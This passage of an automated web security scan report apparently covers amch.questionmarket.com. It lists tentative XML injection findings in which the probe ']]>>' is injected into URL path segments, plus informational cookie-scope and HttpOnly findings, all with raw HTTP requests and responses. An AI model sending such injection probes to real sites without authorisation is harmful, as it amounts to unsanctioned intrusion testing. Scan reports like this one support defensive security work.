Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:07 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=795
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.7. http://amch.questionmarket.com/adscgen/st.php [REST URL parameter 1]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/st.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen]]>>/st.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:05 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=228
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.8. http://amch.questionmarket.com/adscgen/st.php [REST URL parameter 2]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/st.php

Issue detail

The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen/st.php]]>> HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:09 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=705
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.9. http://amch.questionmarket.com/adscgen/sta.php [REST URL parameter 1]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/sta.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen]]>>/sta.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:06 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=569
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.10. http://amch.questionmarket.com/adscgen/sta.php [REST URL parameter 2]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/sta.php

Issue detail

The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen/sta.php]]>> HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:10 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=969
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.11. http://amch.questionmarket.com/dt/s/4487/0.php [REST URL parameter 1]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /dt/s/4487/0.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /dt]]>>/s/4487/0.php HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 21:46:48 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Content-Type: text/html
Content-Language: en
Content-Length: 1198


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.12. http://amch.questionmarket.com/dt/s/4487/0.php [REST URL parameter 2]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /dt/s/4487/0.php

Issue detail

The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /dt/s]]>>/4487/0.php HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 21:46:52 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Content-Type: text/html
Content-Language: en
Content-Length: 1198


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.13. http://amch.questionmarket.com/dt/s/4487/0.php [REST URL parameter 3]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /dt/s/4487/0.php

Issue detail

The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /dt/s/4487]]>>/0.php HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 21:21:39 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Content-Type: text/html
Content-Language: en
Content-Length: 1198


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.14. http://amch.questionmarket.com/dt/s/4487/0.php [REST URL parameter 4]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /dt/s/4487/0.php

Issue detail

The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /dt/s/4487/0.php]]>> HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 21:21:43 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Content-Type: text/html
Content-Language: en
Content-Length: 1198


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

5. Cookie scoped to parent domain  previous  next
There are 5 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


5.1. http://amch.questionmarket.com/adsc/d774151/51/38159205/decide.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adsc/d774151/51/38159205/decide.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adsc/d774151/51/38159205/decide.php?ord=1289161508 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:08 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b201.dl
Set-Cookie: CS1=38159205-51-1; expires=Thu, 29 Dec 2011 12:25:08 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=774151-WL!hM-0; expires=Thu, 29-Dec-2011 12:25:08 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

5.2. http://amch.questionmarket.com/adsc/d804109/17/600001395264/decide.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adsc/d804109/17/600001395264/decide.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adsc/d804109/17/600001395264/decide.php?ord=1289161541 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: linkjumptest=1; CS1=38159205-51-1; ES=774151-WL!hM-0; LP=1289161527

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:43 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b201.dl
Set-Cookie: CS1=deleted; expires=Sat, 07 Nov 2009 20:25:42 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=38159205-51-1_600001395264-17-1; expires=Thu, 29 Dec 2011 12:25:43 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=774151-WL!hM-0_804109-(L!hM-0; expires=Thu, 29-Dec-2011 12:25:43 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

5.3. http://amch.questionmarket.com/adscgen/invite.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/invite.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /adscgen/invite.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:38:40 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Set-Cookie: LP=1289162320; expires=Fri, 12 Nov 2010 00:38:40 GMT; path=/; domain=.questionmarket.com
Content-Length: 213
Keep-Alive: timeout=5, max=997
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Empowering Your Opinions</title>
<script>self.close()</script></head><body><
...[SNIP]...

5.4. http://amch.questionmarket.com/adscgen/popup.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/popup.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /adscgen/popup.php?sub=amch&type=popup&survey_num=768750&lang=&from_node=4487&site=27 HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0; linkjumptest=1

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:27 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b203.dl
Set-Cookie: LP=1289161527; expires=Fri, 12 Nov 2010 00:25:27 GMT; path=/; domain=.questionmarket.com
Content-Length: 1187
Content-Type: text/html


var DL_already_ran;

function DL_domain_popup() {
   if (DL_already_ran) return;

   var DL_x = window.screenLeft || window.screenX || 15000;
   var DL_y = window.screenTop || window.screenY || 15000;
   
   
...[SNIP]...

5.5. http://amch.questionmarket.com/adscgen/st.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/st.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adscgen/st.php?survey_num=774151&site=51843898&code=38159205&randnum=3413825 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:44:52 GMT
Server: Apache/2.2.14 (Ubuntu)
DL_S: a224
Set-Cookie: CS1=774151-1-1; expires=Thu, 29-Dec-2011 13:44:52 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=774151-V?!hM-0; expires=Thu, 29-Dec-2011 13:44:52 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP='ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC'
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=DART&survey_num=774151&site=-1--&code=
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 0


6. Cookie without HttpOnly flag set  previous  next
There are 5 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



6.1. http://amch.questionmarket.com/adsc/d774151/51/38159205/decide.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adsc/d774151/51/38159205/decide.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adsc/d774151/51/38159205/decide.php?ord=1289161508 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:08 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b201.dl
Set-Cookie: CS1=38159205-51-1; expires=Thu, 29 Dec 2011 12:25:08 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=774151-WL!hM-0; expires=Thu, 29-Dec-2011 12:25:08 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

6.2. http://amch.questionmarket.com/adsc/d804109/17/600001395264/decide.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adsc/d804109/17/600001395264/decide.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adsc/d804109/17/600001395264/decide.php?ord=1289161541 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: linkjumptest=1; CS1=38159205-51-1; ES=774151-WL!hM-0; LP=1289161527

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:43 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b201.dl
Set-Cookie: CS1=deleted; expires=Sat, 07 Nov 2009 20:25:42 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=38159205-51-1_600001395264-17-1; expires=Thu, 29 Dec 2011 12:25:43 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=774151-WL!hM-0_804109-(L!hM-0; expires=Thu, 29-Dec-2011 12:25:43 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

6.3. http://amch.questionmarket.com/adscgen/invite.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/invite.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /adscgen/invite.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:38:40 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Set-Cookie: LP=1289162320; expires=Fri, 12 Nov 2010 00:38:40 GMT; path=/; domain=.questionmarket.com
Content-Length: 213
Keep-Alive: timeout=5, max=997
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Empowering Your Opinions</title>
<script>self.close()</script></head><body><
...[SNIP]...

6.4. http://amch.questionmarket.com/adscgen/popup.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/popup.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /adscgen/popup.php?sub=amch&type=popup&survey_num=768750&lang=&from_node=4487&site=27 HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0; linkjumptest=1

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:27 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b203.dl
Set-Cookie: LP=1289161527; expires=Fri, 12 Nov 2010 00:25:27 GMT; path=/; domain=.questionmarket.com
Content-Length: 1187
Content-Type: text/html


var DL_already_ran;

function DL_domain_popup() {
   if (DL_already_ran) return;

   var DL_x = window.screenLeft || window.screenX || 15000;
   var DL_y = window.screenTop || window.screenY || 15000;
   
   
...[SNIP]...

6.5. http://amch.questionmarket.com/adscgen/st.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/st.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adscgen/st.php?survey_num=774151&site=51843898&code=38159205&randnum=3413825 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:44:52 GMT
Server: Apache/2.2.14 (Ubuntu)
